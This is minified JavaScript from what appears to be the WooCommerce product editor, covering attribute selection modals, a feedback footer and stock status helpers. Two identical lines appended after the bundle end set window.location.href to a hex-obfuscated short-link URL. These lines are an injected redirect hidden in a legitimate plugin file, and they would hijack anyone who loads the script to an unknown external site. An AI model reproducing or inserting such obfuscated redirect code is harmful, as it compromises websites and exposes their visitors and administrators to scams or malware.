++Vr),[u,d]=(0,a.useState)([]),[p,_]=(0,a.useState)(!1),[f,h]=(0,a.useState)(),g=(0,a.useCallback)((e=>(_(!0),(0,b.resolveSelect)(v.EXPERIMENTAL_PRODUCT_ATTRIBUTE_TERMS_STORE_NAME).getProductAttributeTerms({search:e||"",attribute_id:i}).then((e=>(d(e),_(!1),e)),(e=>(_(!1),e))))),[i]),E=(0,q.useDebounce)(g,250);(0,a.useEffect)((()=>{n||void 0===i||u.length||g()}),[n,i]);const y=e=>{o(t.filter((t=>t.slug!==e.slug)))},k=e=>{-99!==e.id?t.find((t=>t.slug===e.slug))?y(e):o([...t,e]):h(e.name)},C=()=>{const e=document.querySelector("."+m.current+" .woocommerce-experimental-select-control__input");e&&setTimeout((()=>{e.focus()}),0)},S=(t||[]).map((e=>e.slug));return(0,a.createElement)(a.Fragment,null,(0,a.createElement)(l.__experimentalSelectControl,{items:u,multiple:!0,disabled:n||!i,label:s,getFilteredItems:(e,t)=>t.length>0&&!e.find((e=>e.name.toLowerCase()===t.toLowerCase()))?[...e,{id:-99,name:t}]:e,onInputChange:E,placeholder:r||"",getItemLabel:e=>(null==e?void 0:e.name)||"",getItemValue:e=>(null==e?void 0:e.slug)||"",stateReducer:(e,t)=>{const{changes:o,type:r}=t;switch(r){case l.selectControlStateChangeTypes.ControlledPropUpdatedSelectedItem:return{...o,inputValue:e.inputValue};case l.selectControlStateChangeTypes.ItemClick:return o.selectedItem&&-99===o.selectedItem.id?o:{...o,isOpen:!0,inputValue:e.inputValue,highlightedIndex:e.highlightedIndex};default:return o}},selected:t,onSelect:k,onRemove:y,className:"woocommerce-attribute-term-field "+m.current,__experimentalOpenMenuOnFocus:!0},(e=>{let{items:t,highlightedIndex:o,getItemProps:r,getMenuProps:n,isOpen:i}=e;return(0,a.createElement)(l.__experimentalSelectControlMenu,{isOpen:i,getMenuProps:n},[p?(0,a.createElement)("div",{key:"loading-spinner",className:"woocommerce-attribute-term-field__loading-spinner"},(0,a.createElement)(c.Spinner,null)):null,...t.map(((e,t)=>{const n=S.includes(e.slug);return(0,a.createElement)(l.__experimentalSelectControlMenuItem,{key:`${e.slug}`,index:t,isActive:o===t,item:e,getItemProps:r},-99!==e.id?(0,a.createElement)(c.CheckboxControl,{onChange:()=>null,checked:n,label:(0,a.createElement)("span",{style:{fontWeight:n?"bold":"normal"}},e.name)}):(0,a.createElement)("div",{className:"woocommerce-attribute-term-field__add-new"},(0,a.createElement)(c.Icon,{icon:Br,size:20,className:"woocommerce-attribute-term-field__add-new-icon"}),(0,a.createElement)("span",null,(0,w.sprintf)((0,w.__)('Create "%s"',"woocommerce"),e.name))))}))].filter((e=>null!==e)))})),f&&void 0!==i&&(0,a.createElement)(Dr,{initialAttributeTermName:f,onCancel:()=>{h(void 0),C()},attributeId:i,onCreated:e=>{k(e),h(void 0),C()}}))};function Hr(e){return null!==e&&"object"==typeof e&&!!e.label}const Ur=e=>{let{value:t=[],onChange:o,placeholder:r,disabled:n,label:i}=e;const[s,m]=(0,a.useState)(t),u=e=>{o(t.filter((t=>t!==e)))};return(0,a.createElement)(a.Fragment,null,(0,a.createElement)(l.__experimentalSelectControl,{items:s,multiple:!0,disabled:n,label:i||"",placeholder:r||"",getItemLabel:e=>Hr(e)?e.label:e||"",getItemValue:e=>Hr(e)?e.id:e||"",getFilteredItems:(e,t)=>{const o=e.filter((e=>!t.length||!Hr(e)&&e.toLowerCase().includes(t.toLowerCase())));return t.length>0&&!o.find((e=>!Hr(e)&&e.toLowerCase()===t.toLowerCase()))?[...o,{id:"is-new",label:t}]:o},selected:t,onSelect:e=>{if(Hr(e))return m([...s,e.label]),void o([...t,e.label]);t.includes(e)?u(e):o([...t,e])},onRemove:u,className:"woocommerce-attribute-term-field"},(e=>{let{items:o,highlightedIndex:r,getItemProps:n,getMenuProps:i,isOpen:s}=e;return(0,a.createElement)(l.__experimentalSelectControlMenu,{isOpen:s,getMenuProps:i},o.map(((e,o)=>(0,a.createElement)(l.__experimentalSelectControlMenuItem,{key:`${Hr(e)?e.id:e}`,index:o,isActive:r===o,item:e,getItemProps:n},Hr(e)?(0,a.createElement)("div",{className:"woocommerce-attribute-term-field__add-new"},(0,a.createElement)(c.Icon,{icon:Br,size:20,className:"woocommerce-attribute-term-field__add-new-icon"}),(0,a.createElement)("span",null,(0,w.sprintf)((0,w.__)('Create "%s"',"woocommerce"),e.label))):(0,a.createElement)(c.CheckboxControl,{onChange:()=>null,checked:t.includes(e),label:(0,a.createElement)("span",{style:{fontWeight:t.includes(e)?"bold":"normal"}},e)})))))})))},$r=e=>{let{title:t=(0,w.__)("Edit attribute","woocommerce"),nameLabel:o=(0,w.__)("Name","woocommerce"),globalAttributeHelperMessage:r,customAttributeHelperMessage:n=(0,w.__)("Your customers will see this on the product page","woocommerce"),termsLabel:i=(0,w.__)("Values","woocommerce"),termsPlaceholder:s=(0,w.__)("Search or create value","woocommerce"),visibleLabel:m=(0,w.__)("Visible to customers","woocommerce"),visibleTooltip:u=(0,w.__)("Show or hide this attribute on the product page","woocommerce"),cancelAccessibleLabel:d=(0,w.__)("Cancel","woocommerce"),cancelLabel:p=(0,w.__)("Cancel","woocommerce"),updateAccessibleLabel:_=(0,w.__)("Edit attribute","woocommerce"),updateLabel:f=(0,w.__)("Update","woocommerce"),onCancel:h,onEdit:g,attribute:b}=e;const[E,v]=(0,a.useState)({...b}),y=0===(null==E?void 0:E.id);return(0,a.createElement)(c.Modal,{title:t,onRequestClose:()=>h(),className:"woocommerce-edit-attribute-modal"},(0,a.createElement)("div",{className:"woocommerce-edit-attribute-modal__body"},(0,a.createElement)(c.TextControl,{label:o,disabled:!y,value:(null==E?void 0:E.name)?null==E?void 0:E.name:"",onChange:e=>v({...E,name:e})}),(0,a.createElement)("p",{className:"woocommerce-edit-attribute-modal__helper-text"},y?n:r),b.terms?(0,a.createElement)(zr,{label:i,placeholder:s,value:null==E?void 0:E.terms,attributeId:null==E?void 0:E.id,onChange:e=>{v({...E,terms:e})}}):(0,a.createElement)(Ur,{label:i,placeholder:s,disabled:!(null==b?void 0:b.name),value:null==E?void 0:E.options,onChange:e=>{v({...E,options:e})}}),(0,a.createElement)("div",{className:"woocommerce-edit-attribute-modal__option-container"},(0,a.createElement)(c.CheckboxControl,{onChange:e=>v({...E,visible:e}),checked:null==E?void 0:E.visible,label:m}),(0,a.createElement)(l.__experimentalTooltip,{text:u}))),(0,a.createElement)("div",{className:"woocommerce-edit-attribute-modal__buttons"},(0,a.createElement)(c.Button,{isSecondary:!0,label:d,onClick:()=>h()},p),(0,a.createElement)(c.Button,{isPrimary:!0,label:_,onClick:()=>{g(E)}},f)))};function jr(e){return 0!==e.id?e.id:e.name}const Wr=e=>`${e.id}-${e.name}`,Gr=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})),qr=e=>{let{attribute:t,editLabel:o=(0,w.__)("edit","woocommerce"),removeLabel:r=(0,w.__)("Remove attribute","woocommerce"),onDragStart:n,onDragEnd:i,onEditClick:s,onRemoveClick:m}=e;return(0,a.createElement)(l.ListItem,{className:"woocommerce-attribute-list-item",onDragStart:n,onDragEnd:i},(0,a.createElement)("div",null,t.name),(0,a.createElement)("div",{className:"woocommerce-attribute-list-item__options"},t.options.slice(0,2).map(((e,t)=>(0,a.createElement)("div",{className:"woocommerce-attribute-list-item__option-chip",key:t},e))),t.options.length>2&&(0,a.createElement)("div",{className:"woocommerce-attribute-list-item__option-chip"},(0,w.sprintf)((0,w.__)("+ %i more","woocommerce"),t.options.length-2))),(0,a.createElement)("div",{className:"woocommerce-attribute-list-item__actions"},"function"==typeof s&&(0,a.createElement)(c.Button,{variant:"tertiary",onClick:()=>s(t)},o),"function"==typeof m&&(0,a.createElement)(c.Button,{icon:Gr,label:r,onClick:()=>m(t)})))};function Jr(e){return-99===e.id}const Kr=e=>{let{value:t=null,onChange:o,placeholder:r,label:n,disabled:i,ignoredAttributeIds:s=[]}=e;const{attributes:m,isLoading:u}=(0,b.useSelect)((e=>{const{getProductAttributes:t,hasFinishedResolution:o}=e(v.EXPERIMENTAL_PRODUCT_ATTRIBUTES_STORE_NAME);return{isLoading:!o("getProductAttributes"),attributes:t()}}));return(0,a.createElement)(l.__experimentalSelectControl,{className:"woocommerce-attribute-input-field",items:m||[],label:n||"",disabled:i,getFilteredItems:(e,t)=>{const o=e.filter((e=>(e=>!s.length||!s.includes(e.id))(e)&&(e.name||"").toLowerCase().startsWith(t.toLowerCase())));return t.length>0&&!e.find((e=>e.name.toLowerCase()===t.toLowerCase()))?[...o,{id:-99,name:t}]:o},placeholder:r,getItemLabel:e=>(null==e?void 0:e.name)||"",getItemValue:e=>(null==e?void 0:e.id)||"",selected:t,onSelect:e=>{Jr(e)&&(0,N.recordEvent)("product_attribute_add_custom_attribute",{new_product_page:!0}),o(Jr(e)?e.name:{id:e.id,name:e.name,options:[]})},onRemove:()=>o(),__experimentalOpenMenuOnFocus:!0},(e=>{let{items:t,highlightedIndex:o,getItemProps:r,getMenuProps:n,isOpen:i}=e;return(0,a.createElement)(l.__experimentalSelectControlMenu,{getMenuProps:n,isOpen:i},u?(0,a.createElement)(c.Spinner,null):t.map(((e,t)=>(0,a.createElement)(l.__experimentalSelectControlMenuItem,{key:e.id,index:t,isActive:o===t,item:e,getItemProps:r},Jr(e)?(0,a.createElement)("div",{className:"woocommerce-attribute-input-field__add-new"},(0,a.createElement)(c.Icon,{icon:Br,size:20,className:"woocommerce-attribute-input-field__add-new-icon"}),(0,a.createElement)("span",null,(0,w.sprintf)((0,w.__)('Create "%s"',"woocommerce"),e.name))):e.name))))}))},Yr=e=>{let{title:t=(0,w.__)("Add attributes","woocommerce"),notice:o=(0,w.__)("By default, attributes are filterable and visible on the product page. You can change these settings for each attribute separately later.","woocommerce"),attributeLabel:r=(0,w.__)("Attribute","woocommerce"),valueLabel:n=(0,w.__)("Values","woocommerce"),attributePlaceholder:i=(0,w.__)("Search or create attribute","woocommerce"),termPlaceholder:s=(0,w.__)("Search or create value","woocommerce"),removeLabel:m=(0,w.__)("Remove attribute","woocommerce"),addAnotherAccessibleLabel:u=(0,w.__)("Add another attribute","woocommerce"),addAnotherLabel:d=(0,w.__)("+ Add another","woocommerce"),cancelLabel:p=(0,w.__)("Cancel","woocommerce"),addAccessibleLabel:_=(0,w.__)("Add attributes","woocommerce"),addLabel:f=(0,w.__)("Add","woocommerce"),confirmMessage:h=(0,w.__)("You have some attributes added to the list, are you sure you want to cancel?","woocommerce"),confirmCancelLabel:g=(0,w.__)("No thanks","woocommerce"),confirmConfirmLabel:b=(0,w.__)("Yes please!","woocommerce"),onCancel:E,onAdd:v,selectedAttributeIds:y=[]}=e;const[k,C]=(0,a.useState)(!1),S=e=>{e.attributes.some((e=>null!==e&&(null==e?void 0:e.terms)&&(null==e?void 0:e.terms.length)>0))?C(!0):E()};return(0,a.createElement)(a.Fragment,null,(0,a.createElement)(l.Form,{initialValues:{attributes:[null]}},(e=>{let{values:l,setValue:h}=e;return(0,a.createElement)(c.Modal,{title:t,onRequestClose:e=>{e.isPropagationStopped()||S(l)},className:"woocommerce-new-attribute-modal"},(0,a.createElement)(c.Notice,{isDismissible:!1},(0,a.createElement)("p",null,o)),(0,a.createElement)("div",{className:"woocommerce-new-attribute-modal__body"},(0,a.createElement)("table",{className:"woocommerce-new-attribute-modal__table"},(0,a.createElement)("thead",null,(0,a.createElement)("tr",{className:"woocommerce-new-attribute-modal__table-header"},(0,a.createElement)("th",null,r),(0,a.createElement)("th",null,n))),(0,a.createElement)("tbody",null,l.attributes.map(((e,t)=>(0,a.createElement)("tr",{key:t,className:`woocommerce-new-attribute-modal__table-row woocommerce-new-attribute-modal__table-row-${t}`},(0,a.createElement)("td",{className:"woocommerce-new-attribute-modal__table-attribute-column"},(0,a.createElement)(Kr,{placeholder:i,value:e,label:r,onChange:e=>{h("attributes["+t+"]",e&&function(e){return"string"==typeof e?{id:0,name:e,options:[]}:e}(e)),e&&(e=>{setTimeout((()=>{const t=document.querySelector(".woocommerce-new-attribute-modal__table-row-"+e+" .woocommerce-new-attribute-modal__table-attribute-value-column .woocommerce-experimental-select-control__input");t&&t.focus()}),0)})(t)},ignoredAttributeIds:[...y,...l.attributes.map((e=>null==e?void 0:e.id)).filter((e=>void 0!==e))]})),(0,a.createElement)("td",{className:"woocommerce-new-attribute-modal__table-attribute-value-column"},null===e||0!==e.id?(0,a.createElement)(zr,{placeholder:s,disabled:!e||!e.id,attributeId:e?e.id:void 0,value:null===e?[]:e.terms,label:n,onChange:e=>h("attributes["+t+"].terms",e)}):(0,a.createElement)(Ur,{placeholder:s,disabled:!e.name,value:e.options,label:n,onChange:e=>h("attributes["+t+"].options",e)})),(0,a.createElement)("td",{className:"woocommerce-new-attribute-modal__table-attribute-trash-column"},(0,a.createElement)(c.Button,{icon:zt,disabled:1===l.attributes.length&&null===l.attributes[0],label:m,onClick:()=>((e,t,o)=>{(0,N.recordEvent)("product_add_attributes_modal_remove_attribute_button_click"),t.attributes.length>1?o("attributes",t.attributes.filter(((t,o)=>o!==e))):o(`attributes[${e}]`,[null])})(t,l,h)})))))))),(0,a.createElement)("div",null,(0,a.createElement)(c.Button,{className:"woocommerce-new-attribute-modal__add-attribute",variant:"tertiary",label:u,onClick:()=>{(0,N.recordEvent)("product_add_attributes_modal_add_another_attribute_button_click"),((e,t)=>{var o;t("attributes",[...e.attributes,null]),o=e.attributes.length,setTimeout((()=>{const e=document.querySelector(`.woocommerce-new-attribute-modal__table-row-${o}`);null==e||e.scrollIntoView({behavior:"smooth"})}),0)})(l,h)}},d)),(0,a.createElement)("div",{className:"woocommerce-new-attribute-modal__buttons"},(0,a.createElement)(c.Button,{isSecondary:!0,label:p,onClick:()=>S(l)},p),(0,a.createElement)(c.Button,{isPrimary:!0,label:_,disabled:1===l.attributes.length&&null===l.attributes[0],onClick:()=>(e=>{const t=[];e.attributes.forEach((e=>{if(null!==e&&e.name&&((e.terms||[]).length>0||(e.options||[]).length>0)){const o=0!==e.id?(e.terms||[]).map((e=>e.name)):e.options;t.push({...e,options:o})}})),v(t)})(l)},f)))})),(0,a.createElement)(l.__experimentalSelectControlMenuSlot,null),k&&(0,a.createElement)(c.__experimentalConfirmDialog,{cancelButtonText:g,confirmButtonText:b,onCancel:()=>C(!1),onConfirm:E},h))},Xr=e=>{let{value:t,onAdd:o=(()=>{}),onChange:r,onEdit:n=(()=>{}),onNewModalCancel:i=(()=>{}),onNewModalClose:s=(()=>{}),onNewModalOpen:m=(()=>{}),onEditModalCancel:u=(()=>{}),onEditModalClose:d=(()=>{}),onEditModalOpen:p=(()=>{}),onRemove:_=(()=>{}),onRemoveCancel:f=(()=>{}),uiStrings:h={newAttributeModalTitle:void 0,emptyStateSubtitle:void 0,newAttributeListItemLabel:(0,w.__)("Add attributes","woocommerce"),globalAttributeHelperMessage:(0,w.__)("You can change the attribute's name in <link>Attributes</link>.","woocommerce")}}=e;const[g,b]=(0,a.useState)(!1),[E,v]=(0,a.useState)(null),y=e=>{r(e.map((e=>({...e,options:e.terms?e.terms.map((e=>e.name)):e.options,terms:void 0,visible:e.visible||!1}))))},k=()=>{b(!1),s()},C=e=>{v(null),d(e)},S=t.sort(((e,t)=>e.position-t.position)),T=t.reduce(((e,t)=>(e[jr(t)]=t,e)),{}),N=t.find((e=>Wr(e)===E));return(0,a.createElement)("div",{className:"woocommerce-attribute-field"},(0,a.createElement)(c.Button,{variant:"secondary",className:"woocommerce-add-attribute-list-item__add-button",onClick:()=>{b(!0),m()}},h.newAttributeListItemLabel),Boolean(t.length)&&(0,a.createElement)(l.Sortable,{onOrderChange:e=>{const t=e.reduce(((e,t,o)=>{let{props:r}=t;return e[jr(r.attribute)]=o,e}),{});r(function(e,t){return Object.keys(t).map((o=>isNaN(e[o])?{...t[o]}:{...t[o],position:e[o]}))}(t,T))}},S.map((e=>(0,a.createElement)(qr,{attribute:e,key:Wr(e),onEditClick:()=>{return v(Wr(t=e)),void p(t);var t},onRemoveClick:()=>(e=>{if(window.confirm((0,w.__)("Remove this attribute?","woocommerce")))return y(t.filter((t=>Wr(t)!==Wr(e)))),void _(e);f(e)})(e)})))),g&&(0,a.createElement)(Yr,{title:h.newAttributeModalTitle,onCancel:()=>{k(),i()},onAdd:e=>{y([...t,...e.filter((e=>!t.find((t=>Wr(e)===Wr(t)))))]),o(e),k()},selectedAttributeIds:t.map((e=>e.id))}),(0,a.createElement)(l.__experimentalSelectControlMenuSlot,null),N&&(0,a.createElement)($r,{title:(0,w.sprintf)((0,w.__)("Edit %s","woocommerce"),N.name),globalAttributeHelperMessage:(0,a.createInterpolateElement)(h.globalAttributeHelperMessage,{link:(0,a.createElement)(l.Link,{href:(0,Wt.getAdminLink)("edit.php?post_type=product&page=product_attributes"),target:"_blank",type:"wp-admin"},(0,a.createElement)(a.Fragment,null))}),onCancel:()=>{C(N),u(N)},onEdit:e=>{(e=>{const o=t.map((t=>Wr(t)===Wr(e)?e:t));n(e),y(o),C(e)})(e)},attribute:N}))},Zr=(e,t)=>e.reduce(((e,o)=>(e[t(o)?0:1].push(o),e)),[[],[]]);const Qr=e=>{let{value:t,onChange:o,productId:r}=e;const{attributes:n,handleChange:l}=function(e){let{allAttributes:t=[],isVariationAttributes:o=!1,onChange:r,productId:n}=e;const l=()=>o?t.filter((e=>!!e.variation)):t.filter((e=>!e.variation)),[i,c]=(0,a.useState)(l()),[s,m]=Zr(i,(e=>0===e.id)),u=(0,a.useCallback)((e=>(0,b.resolveSelect)(v.EXPERIMENTAL_PRODUCT_ATTRIBUTE_TERMS_STORE_NAME).getProductAttributeTerms({attribute_id:e,product:n}).then((e=>e),(e=>e))),[n]);return(0,a.useEffect)((()=>{l().length&&!i.length&&Promise.all(m.map((e=>u(e.id)))).then((e=>{c([...m.map(((t,o)=>{return r=t,n=e[o],{...r,terms:n.length>0?n:void 0,options:0===n.length?r.options:[]};var r,n})),...s])}))}),[t,i,u]),{attributes:i,handleChange:e=>{const n=e.map(((e,t)=>({...e,variation:o,position:i.length+t}))),a=o?t.filter((e=>!e.variation)):t.filter((e=>!!e.variation));c(n),r([...a,...n])},setAttributes:c}}({allAttributes:t,onChange:o,productId:r});return(0,a.createElement)(Xr,{value:n,onAdd:()=>{(0,N.recordEvent)("product_add_attributes_modal_add_button_click")},onChange:l,onNewModalCancel:()=>{(0,N.recordEvent)("product_add_attributes_modal_cancel_button_click")},onNewModalOpen:()=>{n.length?(0,N.recordEvent)("product_add_attribute_button"):(0,N.recordEvent)("product_add_first_attribute_button_click")},onRemove:()=>(0,N.recordEvent)("product_remove_attribute_confirmation_confirm_click"),onRemoveCancel:()=>(0,N.recordEvent)("product_remove_attribute_confirmation_cancel_click")})},{name:en}=Fr,tn={example:{},edit:function(){const[e,t]=(0,se.useEntityProp)("postType","product","attributes"),o=(0,se.useEntityId)("postType","product"),r=(0,Je.useBlockProps)();return(0,a.createElement)("div",{...r},(0,a.createElement)(Qr,{productId:o,value:e,onChange:t}))}},on=()=>Qe({name:en,metadata:Fr,settings:tn});function rn(){const e=(0,Ze.__experimentalGetCoreBlocks)().filter((e=>!(0,te.getBlockType)(e.name)));(0,Ze.registerCoreBlocks)(e);const t=Object.values(n).map((e=>e())),o=[...e,...t];return function(){o.forEach((e=>e&&(0,te.unregisterBlockType)(e.name)))}}const nn=window.wc.customerEffortScore,an=()=>{const{showCesModal:e,showProductMVPFeedbackModal:t}=(0,b.useDispatch)(nn.STORE_KEY),{updateOptions:o}=(0,b.useDispatch)(v.OPTIONS_STORE_NAME),{cesAction:r,allowTracking:n,cesShownForActions:i,resolving:s}=(0,b.useSelect)((e=>{const{getOption:t,hasFinishedResolution:o}=e(v.OPTIONS_STORE_NAME),r=t(y);return{cesShownForActions:t(nn.SHOWN_FOR_ACTIONS_OPTION_NAME)||[],allowTracking:"yes"===(t(nn.ALLOW_TRACKING_OPTION_NAME)||"no"),cesAction:r,resolving:!o("getOption",[nn.SHOWN_FOR_ACTIONS_OPTION_NAME])||!o("getOption",[y])||!o("getOption",[nn.ALLOW_TRACKING_OPTION_NAME])}})),m=!s&&n&&r&&"hide"!==r;return(0,a.createElement)(a.Fragment,null,m&&(0,a.createElement)(ce.WooFooterItem,null,(0,a.createElement)("div",{className:"woocommerce-product-mvp-ces-footer"},(0,a.createElement)("div",{className:"woocommerce-product-mvp-ces-footer__container"},(0,a.createElement)(l.Pill,null,(0,w.__)("BETA","woocommerce")),(0,w.__)("You're using the new product editor (currently in development). How is your experience so far?","woocommerce"),(0,a.createElement)(c.Button,{variant:"secondary",onClick:()=>{e({action:r,title:(0,w.__)("How's your experience with the product editor?","woocommerce"),firstQuestion:(0,w.__)("The product editing screen is easy to use","woocommerce"),secondQuestion:(0,w.__)("The product editing screen's functionality meets my needs","woocommerce"),onsubmitLabel:(0,w.__)("Thanks for the feedback. We'll put it to good use!","woocommerce"),shouldShowComments:()=>!0},{},{type:"snackbar",icon:(0,a.createElement)("span",null,"๐ŸŒŸ")}),o({[nn.SHOWN_FOR_ACTIONS_OPTION_NAME]:[r,...i]})}},(0,w.__)("Share feedback","woocommerce")),(0,a.createElement)(c.Button,{onClick:()=>{o({[y]:"hide"}),o({[k]:"no"}),t()},variant:"tertiary"},(0,w.__)("Turn it off","woocommerce"))),(0,a.createElement)(c.Button,{className:"woocommerce-product-mvp-ces-footer__close-button",icon:Gr,label:(0,w.__)("Remove share feedback","woocommerce"),onClick:()=>{o({[y]:"hide"})}}))))};var ln=o(7862),cn=o.n(ln);const sn=window.wc.experimental;function mn(e){let{recordScoreCallback:t,onCloseModal:o}=e;const[r,n]=(0,a.useState)(!1),[l,i]=(0,a.useState)(!1),[s,m]=(0,a.useState)(!1),[u,d]=(0,a.useState)(!1),[p,_]=(0,a.useState)(!1),f=[{key:"missing-features",label:(0,w.__)("Missing features","woocommerce"),checked:r,onChange:n},{key:"missing-plugins",label:(0,w.__)("Missing plugins","woocommerce"),checked:l,onChange:i},{key:"difficult-to-use",label:(0,w.__)("It is difficult to use","woocommerce"),checked:s,onChange:m},{key:"slow-buggy-or-broken",label:(0,w.__)("It is slow, buggy, or broken","woocommerce"),checked:u,onChange:d},{key:"other",label:(0,w.__)("Other (describe below)","woocommerce"),checked:p,onChange:_}],[h,g]=(0,a.useState)(""),b=!(h||r||l||s||u||p);return(0,a.createElement)(nn.FeedbackModal,{title:(0,w.__)("Thanks for trying out the new product editor!","woocommerce"),description:(0,w.__)("Weโ€™re working on making it better, and your feedback will help improve the experience for thousands of merchants like you.","woocommerce"),onSubmit:()=>{const e=f.filter((e=>e.checked)).map((e=>e.key));t(e,h)},onModalClose:o,isSubmitButtonDisabled:b,submitButtonLabel:(0,w.__)("Send feedback","woocommerce"),cancelButtonLabel:(0,w.__)("Skip","woocommerce")},(0,a.createElement)(a.Fragment,null,(0,a.createElement)(sn.Text,{variant:"subtitle.small",as:"p",weight:"600",size:"14",lineHeight:"20px"},(0,w.__)("What made you switch back to the classic product editor?","woocommerce")),(0,a.createElement)(sn.Text,{weight:"400",size:"12",as:"p",lineHeight:"16px",color:"#757575",className:"woocommerce-product-mvp-feedback-modal__subtitle"},(0,w.__)("(Check all that apply)","woocommerce")),(0,a.createElement)("div",{className:"woocommerce-product-mvp-feedback-modal__checkboxes"},f.map(((e,t)=>(0,a.createElement)(c.CheckboxControl,{key:t,label:e.label,name:e.key,checked:e.checked,onChange:e.onChange})))),(0,a.createElement)("div",{className:"woocommerce-product-mvp-feedback-modal__comments"},(0,a.createElement)(c.TextareaControl,{label:(0,w.__)("Additional comments","woocommerce"),value:h,placeholder:(0,w.__)("Optional, but much apprecated. We love reading your feedback!","woocommerce"),onChange:e=>g(e),rows:5}))))}mn.propTypes={recordScoreCallback:cn().func.isRequired,onCloseModal:cn().func};const un=e=>{let{productId:t}=e;const{values:o}=(0,l.useFormContext)(),{hideProductMVPFeedbackModal:r}=(0,b.useDispatch)(nn.STORE_KEY),{isProductMVPModalVisible:n}=(0,b.useSelect)((e=>{const{isProductMVPFeedbackModalVisible:t}=e(nn.STORE_KEY);return{isProductMVPModalVisible:t()}})),i=null!=t?t:o.id,c=i?(0,Wt.getAdminLink)(`post.php?post=${i}&action=edit`):(0,Wt.getAdminLink)("post-new.php?post_type=product");return n?(0,a.createElement)(mn,{recordScoreCallback:(e,t)=>{(0,N.recordEvent)("product_mvp_feedback",{action:"disable",checked:e,comments:t||""}),r(),window.location.href=`${c}&new-product-experience-disabled=true`},onCloseModal:()=>{(0,N.recordEvent)("product_mvp_feedback",{action:"disable",checked:"",comments:""}),r(),window.location.href=c}}):null},dn=e=>{const{symbol:t,symbolPosition:o}=e;return{[o.includes("left")?"prefix":"suffix"]:t}};var pn;!function(e){e.unsaved="unsaved",e.draft="draft",e.instock="instock",e.outofstock="outofstock"}(pn||(pn={}));const _n={[pn.unsaved]:(0,w.__)("Unsaved","woocommerce"),[pn.draft]:(0,w.__)("Draft","woocommerce"),[pn.instock]:(0,w.__)("In stock","woocommerce"),[pn.outofstock]:(0,w.__)("Out of stock","woocommerce")},fn=e=>e?"draft"===e.status?pn.draft:"instock"===e.stock_status?pn.instock:pn.outofstock:pn.unsaved;var hn,gn;!function(e){e.instock="instock",e.onbackorder="onbackorder",e.outofstock="outofstock"}(hn||(hn={})),function(e){e.instock="green",e.onbackorder="yellow",e.outofstock="red"}(gn||(gn={}));const bn={[hn.instock]:(0,w.__)("In stock","woocommerce"),[hn.onbackorder]:(0,w.__)("On backorder","woocommerce"),[hn.outofstock]:(0,w.__)("Out of stock","woocommerce")},wn=e=>e.manage_stock?e.stock_quantity||0:e.stock_status?bn[e.stock_status]:bn.instock,En=e=>{if(e.manage_stock){const t=e.stock_quantity||0;return t>=10?gn.instock:t<10&&t>2?gn.onbackorder:gn.outofstock}return e.stock_status?gn[e.stock_status]:""},vn=(e,t,o)=>(null==e?void 0:e.length)?e:o&&o!==O?o:"simple"===t?(0,w.__)("New standard product","woocommerce"):(0,w.__)("New product","woocommerce"),yn=e=>{var t;return(null===(t=null==e?void 0:e.attributes)||void 0===t?void 0:t.length)?e.attributes.map((e=>e.option)).join(", "):"#"+e.id},kn=e=>{const t=yn(e);return t.length>32?t.substring(0,32)+"โ€ฆ":t},Cn=(e,t)=>{const o=new URLSearchParams(e.search),r=new URLSearchParams(t.search);return o.delete("tab"),r.delete("tab"),o.toString()!==r.toString()},Sn=window.wp.apiFetch;var Tn=o.n(Sn);const Nn=()=>{Tn().use(((e,t)=>{const o=new RegExp("^/wp/v2/product");return e.path&&o.test(null==e?void 0:e.path)&&(()=>{const e=(0,Le.getQuery)();return"wc-admin"===(null==e?void 0:e.page)&&["/add-product","/product/"].some((t=>{var o;return null===(o=null==e?void 0:e.path)||void 0===o?void 0:o.startsWith(t)}))})()&&(e.path=e.path.replace(o,"/wc/v3/products")),t(e)}))};async function xn(){return"hide"===await(0,b.resolveSelect)(v.OPTIONS_STORE_NAME).getOption(y)}const Pn=()=>{const{updateOptions:e}=(0,b.useDispatch)(v.OPTIONS_STORE_NAME),t=function(){let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"show";e({[y]:t})};return{onSaveDraft:async()=>{!1===await xn()&&t("new_product")},onPublish:async()=>{!1===await xn()&&t("new_product")},showCesFooter:t}};function In(e){return`${e.id}:${e.menu_order}`}function An(e){let{key:t}=e;return"string"==typeof t?Number.parseInt(t.split(":")[1],10):Number.MAX_SAFE_INTEGER}function On(e,t,o){let{variationsOrder:r}=o;if(!r||!r[t])return e;const n=r[t];return[...e].sort(((e,t)=>n[e.id]&&n[t.id]?n[e.id]-n[t.id]:0))}const Rn=e=>{let{variations:t,currentPage:o}=e;const{setValue:r,values:n}=(0,l.useFormContext)();return{sortedVariations:On(t,o,n),getVariationKey:In,onOrderChange:function(e){const t=Math.min(...e.map(An));r("variationsOrder",{...n.variationsOrder,[o]:e.reduce(((e,o,r)=>({...e,[function(e){let{key:t}=e;return"string"==typeof t?Number.parseInt(t.split(":")[0],10):0}(o)]:t+r})),{})})}}}})(),(window.wc=window.wc||{}).productEditor=r})();
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";